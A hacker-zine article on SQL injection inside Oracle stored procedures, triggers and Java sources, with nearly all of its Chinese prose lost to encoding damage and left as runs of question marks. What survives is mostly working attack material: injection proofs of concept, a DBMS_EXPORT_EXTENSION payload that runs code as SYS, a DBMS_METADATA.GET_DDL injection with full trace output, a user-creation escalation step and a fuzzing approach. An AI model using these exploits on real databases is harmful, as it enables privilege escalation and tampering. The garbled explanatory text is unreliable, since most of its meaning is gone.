==Ph4nt0m Security Team==
 
                       Issue 0x02, Phile #0x06 of 0x0A
 

|=---------------------------------------------------------------------------=|
|=--------------------=[  ???????ORACLE???SQLINJECTION  ]=-----------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[        By kj021320       ]=----------------------=|
|=----------------------=[    <kj021320_at_126.com>   ]=---------------------=|
|=---------------------------------------------------------------------------=|


??????

    ?t??дPAPER???????????????????????????ORACLE?????????о??????????
???????????????a?????????????????PAPER????????ORACLE?????????????
????????????????????????1???ORACLE???SQL??似?????????????????д??
??ART OF WEB-SQL-INJECTION??2?? ORACLE? ??07????????????????д??
??????????in ORACLE??????????????????????У????PAPER??????????????
??????????????ORACLE???SQLINJECTION????????????ORACLE?????SQL?????????
??????? ?洢???????????????????????????????????????к?????????????
SQL?????????????TRIGGER??SQLJ??JOB????????????????????ORACLE?????????棬????
????????????????

????????

    ??WEB????SQLINJECTION????????????ν????????????????????????????????
???浽????????洢????/?????????SQLINJECTION????????????????

    Example1:

    CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
    AS
    BEGIN
    execute immediate 'begin insert into KJTESTTABLE values('''|| injcode ||''');end;';
    END;

    ???????洢??????????д????????У????????????????????????????
    
    ?????????????????????????1д??? KJTESTTABLE???檔

    declare
    begin
           KJTEST('1');
    end;

    ???????????injcode????POC???

    declare
    begin
           KJTEST('1'');dbms_output.put_line(''hello');
    end;

    ????????????????????????????hello????????

    OK???????????EXP??????д???

    declare
    begin
           KJTEST('1'');EXP-CODE;dbms_output.put_line(''hello');
    end;

    ???????????洢?????г???SQL?????????д??洢??????????????????????á?
?????????????????????????SYS SYSTEM????????????????????????У???????
????????????ORA?У?????????????????

    ???￡??????????????KJ????sys.dbms_metadata.get_ddl???????????????
??DDL???????????????????????????????ú??????????SYS  ??????????????
sys???????????????????????????????????????KJ?????????KJ??????
?? ???????????

    ???--->???ú???(?????????????????)--->??в???--->??????--->(??????????) --->????

    ??????????????????????????????SYS????????????SQL???????????????
??SYS?????????°??????????????????????EXP-CODE?У??????????????SYS?????
?????execute immediate 'create user kj identified by kj'??OK???????????????
???????????

    ?????????е?ORA???SQL?????????????????????????????????????????????
????????????????????????????????????

    Example2:

    CREATE OR REPLACE PROCEDURE KJTEST(injcode in varchar2)
    AS
    tbn  varchar2(1000);
    BEGIN
           execute immediate 'select table_name from user_tables where table_name='''|| injcode ||''''
               into tbn;
           dbms_output.put_line(tbn);
    END;

    ?????????????????????????????

    declare
    begin
           KJTEST('KJTESTTABLE');
    end;

    ????????????????KJTESTTABLE??????

    OK??????????洢??????????????SQL????????????е??????SQL????????
???????????1?????????????й??????????????????????????е???????и???
??????????????????????EXP????????????SQL??е??á????????????

    CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
      RESULT INTEGER;
      PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO KJTESTTABLE VALUES(021320)';
      COMMIT;
      RETURN(RESULT);
    END KJHACKEREXP;

    declare
    begin
      KJTEST('KJTESTTABLE''||KJHACKEREXP()||''');
    end;

    OK????????????ORACLE?????????SQLINJECTION?????????????????????

    ?????2???????????з????
    
    ?????????????з????ORACLE??????????SOURCE????????????????????
??????????????洢?????????SYS.DBMS_METADATA.GET_DDL????????????

    SELECT  SYS.DBMS_METADATA.GET_DDL('FUNCTION','KJHACKEREXP')
    FROM DUAL

    ????????????Data Declare Source????????????????????

    SELECT * from all_source

    ???????????????????????????ORACLE?У???????洢???????????????Σ?
????SQLSERVER??洢????????????????ctxsys.CTX_DDL????????????????????

    create or replace package body ctxsys.CTX_DDL wrapped

    ???????ORACLE??wrap???????????????????в????????????????????????
ORACLE??е?????????????????μ??????

    1??ORACLE  ?????????????? traces ??? ??
    2??????ORACLE????????? ??
    3???????????????( TRIGGER)?????? ??
    4?????ORACLE SQL?????  (SGA)

    ?????????????????????ORACLE?洢????????ò??????

    ???????????????????SGA?????????????????EXP?????￡?

    SELECT
    SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE(''KJ021320'');END;--','SYS',0,'1',0)
    FROM DUAL

    ?????????2?SGA

    SELECT A.ADDRESS ADDRESS,S.HASH_VALUE HASH_VALUE,S.PIECE PIECE,S.SQL_TEXT SQL_TEXT,U.USERNAME
    PARSING_USER_ID,C.USERNAME PARSING_SCHEMA_ID FROM V$SQLAREA A,V$SQLTEXT_WITH_NEWLINES
    S,DBA_USERS U,DBA_USERS C WHERE A.ADDRESS=S.ADDRESS AND
    A.HASH_VALUE=S.HASH_VALUE AND A.PARSING_USER_ID=U.USER_ID AND
    A.PARSING_SCHEMA_ID=C.USER_ID AND EXISTS (SELECT 'X' FROM V$SQLTEXT_WITH_NEWLINES
    X WHERE X.ADDRESS=A.ADDRESS AND X.HASH_VALUE=A.HASH_VALUE AND UPPER(X.SQL_TEXT) LIKE
    '%SYS.DBMS_OUTPUT.PUT_LINE(%')ORDER BY 1,2,3

    ???????????

    ADDRESS HASH_VALUE PIECE SQL_TEXT PARSING_USER_ID 
    PARSING_SCHEMA_ID 
    668C9120 1612804047 0 BEGIN
    "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ0 SYS SYS 
    668C9120 1612804047 1 21320');END;--".ODCIIndexUtilCleanup(:p1); END; 
    SYS SYS 
    
    BEGIN 
    "SYS"."DBMS_OUTPUT".PUT(:P1);SYS.DBMS_OUTPUT.PUT_LINE('KJ021320');END;
    --".ODCIIndexUtilCleanup(:p1); END;

    ?????????????????????????????????????Example1??????????

    ????????????????????ORACLE TRACE?????????м?????м???????????????SQL
????????????trace????????????SQL_TRACE?????????DBMS_SUPPORT??????DBMS_SYSTEM
????????????????????10046 event?????巽????￡?

    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';
    YOUR SQL STATEMENT...
    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';

    ???е?level??1??4??8??12???????????1????????SQL_TRACE=TRUE????????4????
1???????????????????8????1??????????????????12????????1????????
??????????????????????????????level 12??????????trace???

    OK????????????????ù???????????????????

    http://www.milw0rm.com/exploits/3363
    
    ?????SYS.DBMS_METADATA.GET_DDL????SQL?????????????????PLSQL???????????
???????????????

    CREATE OR REPLACE FUNCTION KJHACKEREXP RETURN INTEGER AUTHID CURRENT_USER IS
      RESULT INTEGER;
      PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
      EXECUTE IMMEDIATE 'INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)';
      COMMIT;
      RETURN(RESULT);
    END KJHACKEREXP;

    ???????????

    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT FOREVER, LEVEL 12';

    SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL;

    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF';

    ??????????????????????OK???????oracle\admin\{SID}\udump ????????
????trc??????????????????????????????????????????????????￡?

    =====================
    PARSING IN CURSOR #1 len=80 dep=0 uid=61 oct=3 lid=61 tim=5821472460 hv=3907016812 ad='666488bc'
    SELECT SYS.DBMS_METADATA.GET_DDL('''||KJ021320.KJHACKEREXP()||''','') FROM DUAL
    ??????????????
    END OF STMT
    PARSE #1:c=0,e=2772,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5821472453
    BINDS #1:
    EXEC #1:c=0,e=102,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821473044
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 712 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=54 dep=1 uid=61 oct=3 lid=61 tim=5821474773 hv=3714800427 ad='665afb10'
    SELECT SYS_CONTEXT('USERENV','CURRENT_USER') FROM DUAL
    END OF STMT
    PARSE #4:c=0,e=418,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821474767
    BINDS #4:
    EXEC #4:c=0,e=110,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821475306
    FETCH #4:c=0,e=37,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5821475420
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #4 len=740 dep=1 uid=0 oct=3 lid=0 tim=5821479726 hv=2617299981 ad='665793f0'
    SELECT properties, version, xmltag, udt, schema, viewname, flags, decode(bitand(flags,1), 0, 0, 1), decode(bitand(flags,2), 0, 0, 1), decode(bitand(flags,4), 0, 0, 1), decode(bitand(flags,8), 0, 0, 1), decode(bitand(flags,16), 0, 0, 1), decode(bitand(flags,32), 0, 0, 1), decode(bitand(flags,64), 0, 0, 1), decode(bitand(flags,128), 0, 0, 1), decode(bitand(flags,256), 0, 0, 1), decode(bitand(flags,512), 0, 0, 1), decode(bitand(flags,1024), 0, 0, 1), decode(bitand(flags,2048), 0, 0, 1), decode(bitand(flags,4096), 0, 0, 1), decode(bitand(flags,8192), 0, 0, 1), decode(bitand(flags,16384), 0, 0, 1), decode(bitand(flags,32768), 0, 0, 1) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||'' AND model='ORACLE' AND version<=902000000
    ?????????
    END OF STMT
    PARSE #4:c=0,e=3904,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821479719
    BINDS #4:
    =====================
    PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821480756 hv=1324055951 ad='6684058c'
    INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
    END OF STMT
    PARSE #5:c=0,e=370,p=0,cr=0,cu=0,mis=1,r=0,dep=2,og=4,tim=5821480750
    BINDS #5:
    EXEC #5:c=0,e=256,p=0,cr=1,cu=7,mis=0,r=1,dep=2,og=4,tim=5821481459
    XCTEND rlbk=0, rd_only=0
    =====================
    PARSING IN CURSOR #2 len=6 dep=2 uid=0 oct=44 lid=0 tim=5821485357 hv=3615375148 ad='6683f908'
    COMMIT
    END OF STMT
    EXEC #2:c=0,e=3742,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821485350
    EXEC #4:c=0,e=5588,p=0,cr=1,cu=8,mis=0,r=0,dep=1,og=4,tim=5821485780
    FETCH #4:c=0,e=13,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5821485932
    STAT #4 id=1 cnt=0 pid=0 pos=1 obj=453 op='TABLE ACCESS BY INDEX ROWID METAVIEW$ '
    STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
    =====================
    PARSING IN CURSOR #4 len=76 dep=1 uid=0 oct=3 lid=0 tim=5821489243 hv=1567650580 ad='665750fc'
    SELECT COUNT(*) FROM sys.metaview$ WHERE type=''||KJ021320.KJHACKEREXP()||''
    ??2??????
    END OF STMT
    PARSE #4:c=0,e=2742,p=0,cr=0,cu=0,mis=1,r=0,dep=1,og=4,tim=5821489235
    BINDS #4:
    =====================
    PARSING IN CURSOR #5 len=49 dep=2 uid=0 oct=2 lid=0 tim=5821489578 hv=1324055951 ad='6684058c'
    INSERT INTO KJ021320.KJTESTTABLE VALUES(1,021320)
    END OF STMT
    PARSE #5:c=0,e=59,p=0,cr=0,cu=0,mis=0,r=0,dep=2,og=4,tim=5821489574
    BINDS #5:
    EXEC #5:c=0,e=134,p=0,cr=1,cu=2,mis=0,r=1,dep=2,og=4,tim=5821489747
    XCTEND rlbk=0, rd_only=0
    EXEC #2:c=0,e=73,p=0,cr=0,cu=1,mis=0,r=0,dep=2,og=4,tim=5821489880
    EXEC #4:c=0,e=538,p=0,cr=1,cu=3,mis=0,r=0,dep=1,og=4,tim=5821489928
    FETCH #4:c=0,e=12,p=0,cr=0,cu=0,mis=0,r=1,dep=1,og=4,tim=5821489962
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=0 op='SORT AGGREGATE '
    STAT #4 id=2 cnt=0 pid=1 pos=1 obj=454 op='INDEX RANGE SCAN I_METAVIEW$ '
    FETCH #1:c=0,e=17012,p=0,cr=8,cu=11,mis=0,r=0,dep=0,og=4,tim=5821491101
    WAIT #1: nam='log file sync' ela= 341 p1=819 p2=0 p3=0
    WAIT #1: nam='SQL*Net break/reset to client' ela= 74 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net break/reset to client' ela= 204 p1=1413697536 p2=0 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 3958 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=61 dep=0 uid=61 oct=47 lid=61 tim=5821500658 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #4:c=0,e=118,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5821500653
    BINDS #4:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=145,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5821500860
    WAIT #4: nam='SQL*Net message from client' ela= 2708856 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=73 dep=0 uid=61 oct=47 lid=61 tim=5824210045 hv=678177122 ad='669adadc'
    begin
      sys.dbms_output.get_line(line => :line, status => :status);
    end;
    END OF STMT
    PARSE #4:c=0,e=158,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5824210040
    BINDS #4:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
       bfp=04a8fb80 bln=22 avl=00 flg=05
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=163,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5824210269
    WAIT #4: nam='SQL*Net message from client' ela= 6717782 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=21 dep=0 uid=61 oct=3 lid=61 tim=5830928325 hv=2888538493 ad='669abe84'
    select 'x' from dual
    END OF STMT
    PARSE #4:c=0,e=77,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928320
    BINDS #4:
    EXEC #4:c=0,e=42,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830928419
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message from client' ela= 406 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #4:c=0,e=54,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5830928945
    WAIT #4: nam='SQL*Net message from client' ela= 515 p1=1413697536 p2=1 p3=0
    STAT #4 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #4 len=114 dep=0 uid=61 oct=47 lid=61 tim=5830929706 hv=2628502993 ad='669c5924'
    begin
      if :enable = 0 then
        sys.dbms_output.disable;
      else
        sys.dbms_output.enable(:size);
      end if;
    end;
    END OF STMT
    PARSE #4:c=0,e=137,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830929702
    BINDS #4:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
       bfp=04a8fb68 bln=22 avl=02 flg=05
       value=1
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
       bfp=04a8fb80 bln=22 avl=02 flg=01
       value=10000
    WAIT #4: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #4:c=0,e=247,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830930021
    WAIT #4: nam='SQL*Net message from client' ela= 38283 p1=1413697536 p2=1 p3=0
    STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830968630 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=99,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830968625
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=140,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830968820
    WAIT #1: nam='SQL*Net message from client' ela= 456 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830969751 hv=1998264515 ad='6683df78'
    SELECT * FROM KJTESTTABLE
    END OF STMT
    PARSE #1:c=0,e=371,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5830969746
    BINDS #1:
    EXEC #1:c=0,e=29,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830969837
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 453 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #1:c=0,e=61,p=0,cr=3,cu=0,mis=0,r=2,dep=0,og=4,tim=5830970423
    WAIT #1: nam='SQL*Net message from client' ela= 3199 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #4 len=26 dep=0 uid=61 oct=3 lid=61 tim=5830973736 hv=1998264515 ad='6683df78'
    SELECT * FROM KJTESTTABLE
    END OF STMT
    PARSE #4:c=0,e=54,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830973731
    WAIT #4: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #4: nam='SQL*Net message from client' ela= 20741 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #5 len=116 dep=1 uid=0 oct=3 lid=0 tim=5830994714 hv=189272129 ad='66f9f01c'
    select o.owner#,o.name,o.namespace,o.remoteowner,o.linkname,o.subname,o.dataobj#,o.flags from obj$ o where o.obj#=:1
    END OF STMT
    PARSE #5:c=0,e=50,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994709
    BINDS #5:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=08 oacfl2=1 size=24 offset=0
       bfp=04bfa444 bln=22 avl=04 flg=05
       value=30183
    EXEC #5:c=0,e=72,p=0,cr=0,cu=0,mis=0,r=0,dep=1,og=4,tim=5830994889
    FETCH #5:c=0,e=32,p=0,cr=3,cu=0,mis=0,r=1,dep=1,og=4,tim=5830994941
    STAT #1 id=1 cnt=2 pid=0 pos=1 obj=30183 op='TABLE ACCESS FULL KJTESTTABLE '
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5830995126 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=80,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5830995122
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 4 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=133,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5830995299
    WAIT #1: nam='SQL*Net message from client' ela= 16489 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=73 dep=0 uid=61 oct=47 lid=61 tim=5831012027 hv=678177122 ad='669adadc'
    begin
      sys.dbms_output.get_line(line => :line, status => :status);
    end;
    END OF STMT
    PARSE #1:c=0,e=95,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5831012022
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=24 offset=0
       bfp=04a8fb80 bln=22 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=154,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5831012236
    WAIT #1: nam='SQL*Net message from client' ela= 2431209 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=21 dep=0 uid=61 oct=3 lid=61 tim=5833443769 hv=2888538493 ad='669abe84'
    select 'x' from dual
    END OF STMT
    PARSE #1:c=0,e=49,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443764
    BINDS #1:
    EXEC #1:c=0,e=38,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833443861
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message from client' ela= 412 p1=1413697536 p2=1 p3=0
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    FETCH #1:c=0,e=55,p=0,cr=3,cu=0,mis=0,r=1,dep=0,og=4,tim=5833444394
    WAIT #1: nam='SQL*Net message from client' ela= 526 p1=1413697536 p2=1 p3=0
    STAT #1 id=1 cnt=1 pid=0 pos=1 obj=222 op='TABLE ACCESS FULL DUAL '
    =====================
    PARSING IN CURSOR #1 len=114 dep=0 uid=61 oct=47 lid=61 tim=5833445119 hv=2628502993 ad='669c5924'
    begin
      if :enable = 0 then
        sys.dbms_output.disable;
      else
        sys.dbms_output.enable(:size);
      end if;
    end;
    END OF STMT
    PARSE #1:c=0,e=86,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833445116
    BINDS #1:
     bind 0: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=48 offset=0
       bfp=04a8fb68 bln=22 avl=02 flg=05
       value=1
     bind 1: dty=2 mxl=22(22) mal=00 scl=00 pre=00 oacflg=01 oacfl2=0 size=0 offset=24
       bfp=04a8fb80 bln=22 avl=02 flg=01
       value=10000
    WAIT #1: nam='SQL*Net message to client' ela= 2 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=164,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833445350
    WAIT #1: nam='SQL*Net message from client' ela= 44290 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=61 dep=0 uid=61 oct=47 lid=61 tim=5833489927 hv=3517412409 ad='669b2620'
    begin :id := sys.dbms_transaction.local_transaction_id; end;
    END OF STMT
    PARSE #1:c=0,e=109,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833489922
    BINDS #1:
     bind 0: dty=1 mxl=2000(2000) mal=00 scl=00 pre=00 oacflg=01 oacfl2=10 size=2000 offset=0
       bfp=04c0f830 bln=2000 avl=00 flg=05
    WAIT #1: nam='SQL*Net message to client' ela= 3 p1=1413697536 p2=1 p3=0
    EXEC #1:c=0,e=141,p=0,cr=0,cu=0,mis=0,r=1,dep=0,og=4,tim=5833490119
    WAIT #1: nam='SQL*Net message from client' ela= 680 p1=1413697536 p2=1 p3=0
    =====================
    PARSING IN CURSOR #1 len=56 dep=0 uid=61 oct=42 lid=61 tim=5833510806 hv=1342917134 ad='66548fe8'
    ALTER SESSION SET EVENTS '10046 TRACE NAME CONTEXT OFF'
    ???????????
    END OF STMT
    PARSE #1:c=0,e=19909,p=0,cr=0,cu=0,mis=1,r=0,dep=0,og=4,tim=5833510799
    BINDS #1:
    EXEC #1:c=0,e=76,p=0,cr=0,cu=0,mis=0,r=0,dep=0,og=4,tim=5833510934

    OK,????????????????????????????????SQL???????????????Example2??????
???????????????????EXP???????й?????

    ??????trigger????????????????????????????????????Redo?????????
?????????????????????????й?ORACLE DBA???????

????β??

    ????????????ORACLE??????????????????????????????????????洢
???????????????????????????????????????????????trigger??

    create or replace trigger MDSYS.sdo_drop_user
    after drop on DATABASE
    declare
       stmt varchar2(200);
    BEGIN
         if dictionary_obj_type = 'USER' THEN
           stmt := 'DELETE FROM SDO_GEOM_METADATA_TABLE ' ||
               ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_MAPS_TABLE ' ||
               ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_STYLES_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_THEMES_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
           stmt := 'DELETE FROM SDO_LRS_METADATA_TABLE ' ||
           ' WHERE SDO_OWNER = ''' || dictionary_obj_name || ''' ';
           EXECUTE IMMEDIATE stmt;
        end if;
    end;

    ??????????sys.dictionary_obj_name????????SQL????????

    ????????????????????SQLJ??????????????

    create or replace and compile java source named sys./28221493_foreachclass as
    /* generated by Jasper  from ForEachClass.jsl */

    package oracle.jaccelerator.server;

    import oracle.aurora.rdbms.ClassHandle;
    import oracle.jaccelerator.server.PackageValidateAll;
    import java.lang.String;
    import oracle.jaccelerator.server.ClassProcessor;
    import oracle.aurora.rdbms.Schema;
    import oracle.jaccelerator.server.ForEachClass;
    import java.sql.Connection;
    import oracle.jaccelerator.server.PackageDisableNcomp;
    import oracle.aurora.rdbms.Handle;
    import java.lang.Exception;
    import oracle.sql.*;
    import java.io.*;
    import oracle.jaccelerator.server.*;
    import oracle.jdbc.driver.*;
    import java.sql.*;
    import java.lang.*;
    import java.util.*;

    public class ForEachClass {
        public static String from_plsql (String processorName,
                      String packageNamePattern,
                      String schema) {
            ClassProcessor processor = null;
          
            try {
                Class clazz = Class.forName("oracle.jaccelerator.server." + processorName);
                processor = ((ClassProcessor)clazz.newInstance()).init(packageNamePattern, schema);
            } catch (ClassNotFoundException ex) {
                return "class oracle.jaccelerator.server." + processorName + " not found";
            } catch (Exception ex2) {
                return "can not instantiate class oracle.jaccelerator.server." + processorName;
            }
            int count = ForEachClass.inPackage(packageNamePattern, schema).apply(processor);
            return "processed total: " + count + " classes";
        }

        public static ForEachClass inPackage (String packageName, String schema) {
            return new ForEachClass(packageName, schema);
        }

        Connection connection;
        int counter = 0;
        String packageNamePattern;
        String schema;

        public ForEachClass (String packageNamePattern, String schema) {
            this.packageNamePattern = packageNamePattern.replace('.', '/');
            this.schema = schema;
        }

        public int apply (ClassProcessor processor) {
            try {
                OracleDriver driver = new OracleDriver();
                connection = driver.defaultConnection();
                doit(processor);
            } catch (Exception e) {
                e.printStackTrace();
            }
            finally {
                if (connection != null)  {
                }
            }
            return counter;
        }

        void cleanup (Connection connection) {
        }

        public void doit (ClassProcessor processor) throws java.lang.Exception {
            cleanup(connection);
            Statement stmt = connection.createStatement();

            try {
                String cmd;
                cmd = "select dbms_java.longname(OBJECT_NAME) " +
                "from user_objects " +
                "where OBJECT_TYPE = 'JAVA CLASS' and " +
                "dbms_java.longname(OBJECT_NAME) like '" +
                packageNamePattern +
                "/%' " +
                "and dbms_java.longname(OBJECT_NAME) not like '" +
                packageNamePattern +
                "/%/%'";
                //???????洢SQL????????
                ResultSet rset = stmt.executeQuery(cmd);

                while (rset.next()) {
                    String className = rset.getString(1);
                    processor.execute(className);
                    counter++;
                }
            } catch (Exception e) {
                System.out.println(" got error   " + e);
            }
            finally {
                if (stmt != null)
                    stmt.close();
            }
        }
    }

    ???????????????SQL??????Σ???????OK????μ???????????

??????

    ????????ORACLE????FUZZ????????ALL_OBJECTS??????е?package function 
procedure??ALL_ARGUMENTS?????????ж??????????????????????????FUZZ?????
EXECUTE???????PUBLIC??

    select * from ALL_TAB_PRIVS

    ?????????????TO_NUMBER(0.10001,'999999D99999')????????????????? " ' ; 
??Щ??????????????????к??????????????????????????????????????
????

    ???????????ò????????SQL???лл??

-EOF-